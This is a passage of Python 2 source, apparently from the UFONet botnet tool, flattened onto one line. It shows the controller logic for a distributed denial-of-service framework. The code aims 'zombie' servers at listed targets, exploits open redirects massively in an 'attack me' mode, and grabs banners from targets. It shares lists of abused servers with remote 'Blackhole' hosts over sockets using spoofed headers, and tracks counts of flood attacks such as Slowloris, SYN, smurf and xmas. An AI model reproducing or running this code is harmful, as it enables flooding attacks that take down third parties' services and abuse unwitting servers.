targets: if target == "": c = c + 1 else: self.num_target_list = self.num_target_list + 1 if c == len(targets): print "\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n" return # end of code block dedicated to: Guido van Rossum [23/12/2018] else: for target in targets: print '='*55 + "\n" print "[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n" print "="*55 self.options.target = target attack = self.attacking(zombies, target) self.update_missions_stats() # update mothership missions stats (each target counts) except Exception: print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n") if self.options.verbose: traceback.print_exc() # inspect target -> inspect target's components sizes if options.inspect: try: self.banner() print("\n[AI] Inspecting target to find the best place to attack... SSssh!\n") print '='*22 + '\n' self.instance = Inspector(self) # instance main class for inspection operations inspection = self.instance.inspecting(options.inspect) self.update_missions_stats() # update mothership missions stats except Exception, e: print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n") if self.options.verbose: traceback.print_exc() return #sys.exit(2) # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.) if options.abduction: try: self.banner() print("\n[AI] Abducting target to extract interesting information... Be patient!\n") print '='*22 + '\n' self.instance = Abductor(self) # instance main class for abduction operations abduction = self.instance.abducting(options.abduction) self.update_missions_stats() # update mothership missions stats except Exception, e: print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n") if self.options.verbose: traceback.print_exc() return #sys.exit(2) # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking if options.attackme: self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-) try: self.banner() print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n") print("[Warning] You are going to reveal your real IP to [Zombies]!\n") if not self.options.forceyes: update_reply = raw_input("[AI] Do you want to continue? (Y/n)") else: update_reply = "Y" if update_reply == "n" or update_reply == "N": print "\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n" return self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash print "\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash print("\n[AI] Checking NAT/IP configuration:\n") nat = self.check_nat() f = open("alien", "w") # generate random alien worker f.write(str(self.mothership_hash)) f.close() if self.nat_error_flag == "ON": return zombies = self.extract_zombies() if not zombies: return attackme = self.attackme(zombies) self.update_missions_stats() # update mothership missions stats except Exception, e: print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n") if self.options.verbose: traceback.print_exc() return #sys.exit(2) # check/update for latest stable version if options.update: self.banner() try: print("\n[AI] Trying to update automatically to the latest stable version\n") Updater() except: print "Not any .git repository found!\n" print "="*30 print "\nTo have working this feature, you should clone UFONet with:\n" print "$ git clone %s" % self.GIT_REPOSITORY print "\nAlso you can try this other mirror:\n" print "$ git clone %s" % self.GIT_REPOSITORY2 + "\n" # launch GUI/Web interface if options.web: self.create_web_interface() return # generate [Blackhole] server to share [Zombies] if options.blackhole is not None: self.banner() try: blackhole_lib = os.path.abspath(os.path.join('..', 'server')) # add [Blackhole] lib sys.path.append(blackhole_lib) from server.blackhole import BlackHole print("\n[AI] Initiating void generation sequence...\n") print '='*22 + '\n' app = BlackHole() app.start() while True: time.sleep(1) except KeyboardInterrupt: print("\n[AI] Terminating void generation sequence...\n") app.collapse() except Exception, e: print "[Error] "+str(e) print("\n[AI] Something was wrong generating [Blackhole]. Aborting...\n") # download list of [Zombies] from a [Blackhole] IP if options.dip is not None: options.download = True self.blackhole = options.dip # download list of [Zombies] from server if options.download: try: self.banner() if options.dip is not None: print("\n[AI] Downloading list of [Zombies] from server "+self.blackhole+" ...\n") else: print("\n[AI] Downloading list of [Zombies] from server ...\n") print '='*22 + '\n' download_list = self.downloading_list() except Exception, e: print ("\n[Error] [AI] Something wrong downloading! -> [Exiting!]\n") return # upload list of [Zombies] to a [Blackhole] IP if options.upip is not None: options.upload = True self.blackhole = options.upip # upload list of [Zombies] to server if options.upload: try: self.banner() if options.upip is not None: print("\n[AI] Uploading list of [Zombies] to server "+self.blackhole+" ...\n") else: print("\n[AI] Uploading list of [Zombies] to server ...\n") print '='*22 + '\n' upload_list = self.uploading_list() except Exception, e: print ("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n") if self.options.verbose: traceback.print_exc() return #sys.exit(2) # starting new zombie thread def connect_zombies(self, zombie): z=Zombie(self, zombie) t = threading.Thread(target=z.connect, name=zombie) t.start() # single connection handling def connect_zombie(self, zombie): z=Zombie(self,zombie) return z.connect() def extract_proxy(self, proxy): sep = ":" proxy_ip = proxy.rsplit(sep, 1)[0] if proxy_ip.startswith('http://'): proxy_ip = proxy_ip.replace('http://', '') elif proxy_ip.startswith('https://'): proxy_ip = proxy_ip.replace('https://', '') if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...) proxy_ip = 'localhost' proxy_port = proxy.rsplit(sep, 1)[1] proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118 return proxy_url def proxy_transport(self, proxy): proxy_url = self.extract_proxy(proxy) proxy = urllib2.ProxyHandler({'https': proxy_url}) opener = urllib2.build_opener(proxy) urllib2.install_opener(opener) def check_mothership_chargo(self): f = open(self.zombies_file) self.zombies = f.readlines() self.zombies = [zombie.replace('\n', '') for zombie in self.zombies] self.list_zombies = [] for zombie in self.zombies: t = urlparse(zombie) name_zombie = t.netloc if name_zombie == "": name_zombie = zombie self.list_zombies.append(name_zombie) self.num_zombies = str(len(self.zombies)) f.close() f = open(self.aliens_file) self.aliens = f.readlines() self.aliens = [alien.replace('\n', '') for alien in self.aliens] self.list_aliens = [] for alien in self.aliens: t = urlparse(alien) name_alien = t.netloc if name_alien == "": name_alien = alien self.list_aliens.append(name_alien) self.num_aliens = str(len(self.aliens)) f.close() f = open(self.droids_file) self.droids = f.readlines() self.droids = [droid.replace('\n', '') for droid in self.droids] self.list_droids = [] for droid in self.droids: t = urlparse(droid) name_droid = t.netloc if name_droid == "": name_droid = droid self.list_droids.append(name_droid) self.num_droids = str(len(self.droids)) f.close() f = open(self.ucavs_file) self.ucavs = f.readlines() self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs] self.list_ucavs = [] for ucav in self.ucavs: t = urlparse(ucav) name_ucav = t.netloc if name_ucav == "": name_ucav = ucav self.list_ucavs.append(name_ucav) self.num_ucavs = str(len(self.ucavs)) f.close() f = open(self.rpcs_file) self.rpcs = f.readlines() self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs] self.list_rpcs = [] for rpc in self.rpcs: t = urlparse(rpc) name_rpc = t.netloc if name_rpc == "": name_rpc = rpc self.list_rpcs.append(name_rpc) self.num_rpcs = str(len(self.rpcs)) f.close() self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs)) return self.total_botnet def update_flying_stats(self): if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used) with open(self.mothership_stats_file, "w") as f: json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "tachyon": "0", "crashed": "0"}, f, indent=4) # starting reset stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() aflying = data["flying"] aflying = str(int(aflying) + 1) # add new flying time data["flying"] = aflying stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_mothership_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() acompleted = data["completed"] acompleted = str(int(acompleted) + 1) # add new completed attack data["completed"] = acompleted stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_targets_crashed(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() tcrashed = data["crashed"] tcrashed = str(int(tcrashed) + 1) # add new crashed target data["crashed"] = tcrashed stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_missions_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() missions = data["missions"] missions = str(int(missions) + 1) # add new mission target data["missions"] = missions stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_scanner_stats(self, num): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() scanner = data["scanner"] scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats data["scanner"] = scanner stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_transferred_stats(self, num): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() transferred = data["transferred"] transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats data["transferred"] = transferred stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_max_chargo(self, chargo): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() amax_chargo = data["max_chargo"] if int(chargo) > int(amax_chargo): # new max chargo found amax_chargo = chargo # add new max chargo else: amax_chargo = data["max_chargo"] data["max_chargo"] = amax_chargo stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_loic_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() aloic = data["loic"] aloic = str(int(aloic) + 1) # add new loic attack to recorded stats self.total_loic = self.total_loic + 1 # add new loic attack to session stats data["loic"] = aloic stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_loris_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() aloris = data["loris"] aloris = str(int(aloris) + 1) # add new loris attack to recorded stats self.total_loris = self.total_loris + 1 # add new loris attack to session stats data["loris"] = aloris stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_ufosyn_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() aufosyn = data["ufosyn"] aufosyn = str(int(aufosyn) + 1) # add new ufosyn attack to recorded stats self.total_syn = self.total_syn + 1 # add new ufosyn attack to session stats data["ufosyn"] = aufosyn stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_spray_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() aspray = data["spray"] aspray = str(int(aspray) + 1) # add new spray attack to recorded stats self.total_spray = self.total_spray + 1 # add new spray attack to session stats data["spray"] = aspray stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_smurf_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() asmurf = data["smurf"] asmurf = str(int(asmurf) + 1) # add new smurf attack to recorded stats self.total_smurf = self.total_smurf + 1 # add new smurf attack to session stats data["smurf"] = asmurf stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_xmas_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() axmas = data["xmas"] axmas = str(int(axmas) + 1) # add new xmas attack to recorded stats self.total_xmas = self.total_xmas + 1 # add new xmas attack to session stats data["xmas"] = axmas stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_nuke_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() anuke = data["nuke"] anuke = str(int(anuke) + 1) # add new nuke attack to recorded stats self.total_nuke = self.total_nuke + 1 # add new nuke attack to session stats data["nuke"] = anuke stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def update_tachyon_stats(self): stats_json_file = open(self.mothership_stats_file, "r") data = json.load(stats_json_file) stats_json_file.close() atachyon = data["tachyon"] atachyon = str(int(atachyon) + 1) # add new tachyon attack to recorded stats self.total_tachyon = self.total_tachyon + 1 # add new tachyon attack to session stats data["tachyon"] = atachyon stats_json_file = open(self.mothership_stats_file, "w+") stats_json_file.write(json.dumps(data)) stats_json_file.close() def uploading_list(self): self.user_agent = random.choice(self.agents).strip() # shuffle user-agent headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer abductions = "abductions.txt.gz" troops = "troops.txt.gz" robots = "robots.txt.gz" drones = "drones.txt.gz" reflectors = "reflectors.txt.gz" if self.options.timeout: # set timeout try: timeout = int(self.options.timeout) except: timeout = 1 else: timeout = 1 if timeout < 1: timeout = 1 try: print("[AI] Checking integrity of [Blackhole]...\n") if self.options.forcessl: if self.options.proxy: # set proxy self.proxy_transport(options.proxy) req = urllib2.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers) abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers) troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers) robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers) drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers) reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() else: if self.options.proxy: # set proxy self.proxy_transport(options.proxy) req = urllib2.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers) abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers) troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers) robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers) drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers) reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() print("[AI] [Control] [Blackhole] Reply: [VORTEX READY!] ;-)") f_in_abductions = gzip.open(abductions_reply, 'rb') f_out_abductions = open('abductions.txt', 'wb') f_out_abductions.write(f_in_abductions.read()) f_in_abductions.close() f_out_abductions.close() os.remove(abductions) # remove .gz file num_zombies = 0 with open('abductions.txt') as f: for _ in f: num_zombies = num_zombies + 1 print("\n[Info] [Zombies] on [Blackhole]: "+ str(num_zombies)) f_in_robots = gzip.open(robots_reply, 'rb') f_out_robots = open('robots.txt', 'wb') f_out_robots.write(f_in_robots.read()) f_in_robots.close() f_out_robots.close() os.remove(robots) # remove .gz file num_robots = 0 with open('robots.txt') as f: for _ in f: num_robots = num_robots + 1 print("[Info] [Droids] on [Blackhole] : "+ str(num_robots)) f_in_troops = gzip.open(troops_reply, 'rb') f_out_troops = open('troops.txt', 'wb') f_out_troops.write(f_in_troops.read()) f_in_troops.close() f_out_troops.close() os.remove(troops) # remove .gz file num_aliens = 0 with open(self.aliens_file) as f: for _ in f: num_aliens = num_aliens + 1 print("[Info] [Aliens] on [Blackhole] : "+ str(num_aliens)) f_in_drones = gzip.open(drones_reply, 'rb') f_out_drones = open('drones.txt', 'wb') f_out_drones.write(f_in_drones.read()) f_in_drones.close() f_out_drones.close() os.remove(drones) # remove .gz file num_drones = 0 with open('drones.txt') as f: for _ in f: num_drones = num_drones + 1 print("[Info] [Drones] on [Blackhole] : "+ str(num_drones)) f_in_reflectors = gzip.open(reflectors_reply, 'rb') f_out_reflectors = open('reflectors.txt', 'wb') f_out_reflectors.write(f_in_reflectors.read()) f_in_reflectors.close() f_out_reflectors.close() os.remove(reflectors) # remove .gz file num_reflectors = 0 with open('reflectors.txt') as f: for _ in f: num_reflectors = num_reflectors + 1 print("[Info] [X-RPCs] on [Blackhole] : "+ str(num_reflectors)) print '-'*12 + '\n' if not self.options.forceyes: update_reply = raw_input("[AI] Do you want to merge ONLY the new [Zombies] into [Blackhole]? (Y/n)") print '-'*25 else: update_reply = "Y" if update_reply == "n" or update_reply == "N": os.remove('abductions.txt') # remove abductions file os.remove('troops.txt') # remove troops file os.remove('robots.txt') # remove robots file os.remove('drones.txt') # remove drones file os.remove('reflectors.txt') # remove reflectors file print "\n[Info] [AI] [Control] Aborting upload process and cleaning temporal files... -> [Exiting!]\n" return else: print "\n[AI] Checking integrity of your list of [Zombies] -> [OK!]\n" # only upload valid zombies print '='*35 zombies = self.extract_zombies() if not zombies: return test = self.testing(zombies) zombies_community = [] zombies_added = 0 f = open('abductions.txt') abductions = f.readlines() abductions = [abduction.strip() for abduction in abductions] f.close() fz = open(self.zombies_file) zombies = fz.readlines() zombies = [zombie.strip() for zombie in zombies] fz.close() for zombie in zombies: if zombie not in abductions: zombies_community.append(zombie) zombies_added = zombies_added + 1 else: pass print("[Info] [AI] New [Zombies] found: " + str(zombies_added)) aliens = self.extract_aliens() if not aliens: return aliens_community = [] aliens_added = 0 f = open('troops.txt') troops = f.readlines() troops = [troop.strip() for troop in troops] f.close() fz = open(self.aliens_file) aliens = fz.readlines() aliens = [alien.strip() for alien in aliens] fz.close() for alien in aliens: if alien not in troops: aliens_community.append(alien) aliens_added = aliens_added + 1 else: pass print("[Info] [AI] New [Aliens] found : " + str(aliens_added)) droids = self.extract_droids() if not droids: return droids_community = [] droids_added = 0 f = open('robots.txt') robots = f.readlines() robots = [robot.strip() for robot in robots] f.close() fz = open(self.droids_file) droids = fz.readlines() droids = [droid.strip() for droid in droids] fz.close() for droid in droids: if droid not in robots: droids_community.append(droid) droids_added = droids_added + 1 else: pass print("[Info] [AI] New [Droids] found : " + str(droids_added)) ucavs = self.extract_ucavs() if not ucavs: return ucavs_community = [] ucavs_added = 0 f = open('drones.txt') drones = f.readlines() drones = [drone.strip() for drone in drones] f.close() fz = open(self.ucavs_file) ucavs = fz.readlines() ucavs = [ucav.strip() for ucav in ucavs] fz.close() for ucav in ucavs: if ucav not in drones: ucavs_community.append(ucav) ucavs_added = ucavs_added + 1 else: pass print("[Info] [AI] New [UCAVs] found : " + str(ucavs_added)) rpcs = self.extract_rpcs() if not ucavs: return rpcs_community = [] rpcs_added = 0 f = open('reflectors.txt') reflectors = f.readlines() reflectors = [reflector.strip() for reflector in reflectors] f.close() fz = open(self.rpcs_file) rpcs = fz.readlines() rpcs = [rpc.strip() for rpc in rpcs] fz.close() for rpc in rpcs: if rpc not in reflectors: rpcs_community.append(rpc) rpcs_added = rpcs_added + 1 else: pass print("[Info] [AI] New [X-RPCs] found : " + str(rpcs_added)) print '-'*12 + '\n' if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0: # not any zombie os.remove('abductions.txt') # remove abductions file os.remove('troops.txt') # remove troops file os.remove('robots.txt') # remove robots file os.remove('drones.txt') # remove ucavs file os.remove('rpcs.txt') # remove rpcs file print("[Info] [AI] Try to search for new [Zombies]. These are already in this [Blackhole] -> [Exiting!]\n") return else: fc = gzip.open('community_zombies.txt.gz', 'wb') for zombie in zombies_community: fc.write(zombie.strip()+"\n") fc.close() os.remove('abductions.txt') # remove abductions file fc = gzip.open('community_aliens.txt.gz', 'wb') for alien in aliens_community: fc.write(alien.strip()+"\n") fc.close() os.remove('troops.txt') # remove troops file fc = gzip.open('community_droids.txt.gz', 'wb') for droid in droids_community: fc.write(droid.strip()+"\n") fc.close() os.remove('robots.txt') # remove robots file fc = gzip.open('community_ucavs.txt.gz', 'wb') for ucav in ucavs_community: fc.write(ucav.strip()+"\n") fc.close() os.remove('drones.txt') # remove drones file fc = gzip.open('community_rpcs.txt.gz', 'wb') for rpc in rpcs_community: fc.write(rpc.strip()+"\n") fc.close() os.remove('reflectors.txt') # remove reflectors file print("[Info] [AI] Starting to upload new [Zombies]...\n") try: # open a socket and send data to the blackhole reciever port host = self.blackhole cport = 9991 mport = 9990 try: cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data cs.connect((host, cport)) cs.send("SEND " + 'community_zombies.txt.gz') cs.close() f = open('community_zombies.txt.gz', "rb") data = f.read() f.close() ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ms.connect((host, mport)) ms.send(data) ms.close() os.remove('community_zombies.txt.gz') # remove local zombies .gz file after transfer time.sleep(1) cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) cs.connect((host, cport)) cs.send("SEND " + 'community_aliens.txt.gz') cs.close() f = open('community_aliens.txt.gz', "rb") data = f.read() f.close() ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ms.connect((host, mport)) ms.send(data) ms.close() os.remove('community_aliens.txt.gz') # remove local aliens .gz file after transfer time.sleep(1) cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) cs.connect((host, cport)) cs.send("SEND " + 'community_robots.txt.gz') cs.close() f = open('community_droids.txt.gz', "rb") data = f.read() f.close() ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ms.connect((host, mport)) ms.send(data) ms.close() os.remove('community_droids.txt.gz') # remove local droids .gz file after transfer time.sleep(1) cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) cs.connect((host, cport)) cs.send("SEND " + 'community_ucavs.txt.gz') cs.close() f = open('community_ucavs.txt.gz', "rb") data = f.read() f.close() ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ms.connect((host, mport)) ms.send(data) ms.close() os.remove('community_ucavs.txt.gz') # remove local ucavs .gz file after transfer time.sleep(1) cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # send data one by one recieved by multithreading cs.connect((host, cport)) cs.send("SEND " + 'community_rpcs.txt.gz') cs.close() f = open('community_rpcs.txt.gz', "rb") data = f.read() f.close() ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ms.connect((host, mport)) ms.send(data) ms.close() os.remove('community_rpcs.txt.gz') # remove local rpcs .gz file after transfer time.sleep(2) # sleep a bit more print '-'*12 + '\n' print("[Info] [AI] Transfer -> [DONE!]\n") except Exception, e: print str(e) + "\n" except: print '-'*12 + '\n' print("[Error] [AI] Connecting sockets to [Blackhole] -> [Aborting!]\n") return except: print '-'*12 + '\n' print("[Error] [AI] Unable to upload list of [Zombies] to this [Blackhole] -> [Exiting!]\n") return def update_gui_data(self): # download all GUI stream data self.user_agent = random.choice(self.agents).strip() # shuffle user-agent headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer if self.options.proxy: # set proxy self.proxy_transport(self.options.proxy) if self.options.timeout: # set timeout try: timeout = int(self.options.timeout) except: timeout = 1 else: timeout = 1 if timeout < 1: timeout = 1 if self.options.forcessl: news = urllib2.Request('https://'+self.blackhole+'/ufonet/news.txt', None, headers) news_reply = urllib2.urlopen(news, context=self.ctx, timeout=timeout).read() missions = urllib2.Request('https://'+self.blackhole+'/ufonet/missions.txt', None, headers) missions_reply = urllib2.urlopen(missions, context=self.ctx, timeout=timeout).read() board = urllib2.Request('https://'+self.blackhole+'/ufonet/board.txt', None, headers) board_reply = urllib2.urlopen(board, context=self.ctx, timeout=timeout).read() grid = urllib2.Request('https://'+self.blackhole+'/ufonet/grid.txt', None, headers) grid_reply = urllib2.urlopen(grid, context=self.ctx, timeout=timeout).read() wargames = urllib2.Request('https://'+self.blackhole+'/ufonet/wargames.txt', None, headers) wargames_reply = urllib2.urlopen(wargames, context=self.ctx, timeout=timeout).read() else: news = urllib2.Request('http://'+self.blackhole+'/ufonet/news.txt', None, headers) news_reply = urllib2.urlopen(news, context=self.ctx).read() missions = urllib2.Request('http://'+self.blackhole+'/ufonet/missions.txt', None, headers) missions_reply = urllib2.urlopen(missions, context=self.ctx).read() board = urllib2.Request('http://'+self.blackhole+'/ufonet/board.txt', None, headers) board_reply = urllib2.urlopen(board, context=self.ctx).read() grid = urllib2.Request('http://'+self.blackhole+'/ufonet/grid.txt', None, headers) grid_reply = urllib2.urlopen(grid, context=self.ctx).read() wargames = urllib2.Request('http://'+self.blackhole+'/ufonet/wargames.txt', None, headers) wargames_reply = urllib2.urlopen(wargames, context=self.ctx).read() f = open(self.news_file, 'w') f.write(news_reply) f.close() f = open(self.missions_file, 'w') f.write(missions_reply) f.close() f = open(self.board_file, 'w') f.write(board_reply) f.close() f = open(self.grid_file, 'w') f.write(grid_reply) f.close() f = open(self.wargames_file, 'w') f.write(wargames_reply) f.close() print '-'*25 + "\n" print "[Info] [AI] GUI data correctly updated:\n" if news_reply: print "[Info] [AI] [News] : OK!" if missions_reply: print "[Info] [AI] [Missions]: OK!" if board_reply: print "[Info] [AI] [Board] : OK!" if grid_reply: print "[Info] [AI] [Grid] : OK!" if wargames_reply: print "[Info] [AI] [Wargames]: OK!" print '-'*25 print "\n[AI] "+self.exit_msg+"\n" def downloading_list(self): # add your mirror to protect/share/distribute zombies try: print("[AI] Trying [Blackhole]: "+self.blackhole+"\n") self.user_agent = random.choice(self.agents).strip() # shuffle user-agent headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer if self.options.timeout: # set timeout try: timeout = int(self.options.timeout) except: timeout = 1 else: timeout = 1 if timeout < 1: timeout = 1 if self.options.forcessl: if self.options.proxy: # set proxy self.proxy_transport(options.proxy) req = urllib2.Request('https://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers) abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('https://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers) troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('https://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers) robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('https://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers) drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('https://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers) reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() else: if self.options.proxy: # set proxy self.proxy_transport(options.proxy) req = urllib2.Request('http://'+self.blackhole+'/ufonet/abductions.txt.gz', None, headers) abductions_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('http://'+self.blackhole+'/ufonet/troops.txt.gz', None, headers) troops_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('http://'+self.blackhole+'/ufonet/robots.txt.gz', None, headers) robots_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('http://'+self.blackhole+'/ufonet/drones.txt.gz', None, headers) drones_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() req = urllib2.Request('http://'+self.blackhole+'/ufonet/reflectors.txt.gz', None, headers) reflectors_reply = urllib2.urlopen(req, context=self.ctx, timeout=timeout).read() f = open('abductions.txt.gz', 'w') f.write(abductions_reply) f.close() f = open('troops.txt.gz', 'w') f.write(troops_reply) f.close() f = open('robots.txt.gz', 'w') f.write(robots_reply) f.close() f = open('drones.txt.gz', 'w') f.write(drones_reply) f.close() f = open('reflectors.txt.gz', 'w') f.write(reflectors_reply) f.close() print("[AI] [Control] [Blackhole] Reply: [VORTEX READY!] ;-)") except: print("[AI] [Control] [Blackhole] Reply: [VORTEX FAILED!]") print '-'*12 + '\n' print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] -> [Exiting!]\n") return print '-'*12 + '\n' f_in_abductions = gzip.open('abductions.txt.gz', 'rb') f_out_abductions = open('abductions.txt', 'wb') f_out_abductions.write(f_in_abductions.read()) f_in_abductions.close() f_out_abductions.close() os.remove('abductions.txt.gz') # remove abductions .gz file f_in_troops = gzip.open('troops.txt.gz', 'rb') f_out_troops = open('troops.txt', 'wb') f_out_troops.write(f_in_troops.read()) f_in_troops.close() f_out_troops.close() os.remove('troops.txt.gz') # remove troops .gz file f_in_robots = gzip.open('robots.txt.gz', 'rb') f_out_robots = open('robots.txt', 'wb') f_out_robots.write(f_in_robots.read()) f_in_robots.close() f_out_robots.close() os.remove('robots.txt.gz') # remove robots .gz file f_in_drones = gzip.open('drones.txt.gz', 'rb') f_out_drones = open('drones.txt', 'wb') f_out_drones.write(f_in_drones.read()) f_in_drones.close() f_out_drones.close() os.remove('drones.txt.gz') # remove drones .gz file f_in_reflectors = gzip.open('reflectors.txt.gz', 'rb') f_out_reflectors = open('reflectors.txt', 'wb') f_out_reflectors.write(f_in_reflectors.read()) f_in_reflectors.close() f_out_reflectors.close() os.remove('reflectors.txt.gz') # remove reflectors .gz file num_abductions = 0 with open('abductions.txt') as f: for _ in f: num_abductions = num_abductions + 1 print("[Info] Zombies: " + str(num_abductions)) num_robots = 0 with open('robots.txt') as f: for _ in f: num_robots = num_robots + 1 print("[Info] Droids : " + str(num_robots)) num_troops = 0 with open('troops.txt') as f: for _ in f: num_troops = num_troops + 1 print("[Info] Aliens : " + str(num_troops)) num_drones = 0 with open('drones.txt') as f: for _ in f: num_drones = num_drones + 1 print("[Info] UCAVs : " + str(num_drones)) num_reflectors = 0 with open('reflectors.txt') as f: for _ in f: 